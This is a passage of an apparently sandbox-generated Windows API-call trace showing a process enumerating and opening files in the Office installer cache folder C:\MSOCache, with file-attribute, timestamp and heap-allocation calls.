ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0044.374] GetLastError () returned 0x12 [0044.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0044.374] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0044.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0044.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0044.374] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0044.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.374] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.380] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0044.380] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0044.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedde90 [0044.380] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedde90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedde90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0044.380] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedde90) returned 1 [0044.380] NtClose (Handle=0x174) returned 0x0 [0044.381] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0044.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0044.381] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0044.381] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0044.403] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.403] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0044.403] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0044.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.403] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.403] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb9e8 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedce20 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.404] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedba08 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedcf28 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.404] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedba28 [0044.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd030 [0044.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.438] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.438] GetLastError () returned 0x12 [0044.438] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0044.438] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0044.438] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.438] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0044.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd138 [0044.438] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0044.838] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0044.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedde90 [0044.960] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedde90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedde90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.092] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedde90) returned 1 [0045.107] NtClose (Handle=0x174) returned 0x0 [0045.108] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedd138) returned 1 [0045.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd138 [0045.110] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd240 [0045.112] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0045.128] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.128] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd348 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedba48 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd450 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedba68 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd558 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedba88 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd660 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbaa8 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedd768 [0045.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xed5c70 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5990) returned 1 [0045.129] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0045.129] GetLastError () returned 0x12 [0045.129] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459b78 [0045.129] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.129] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, 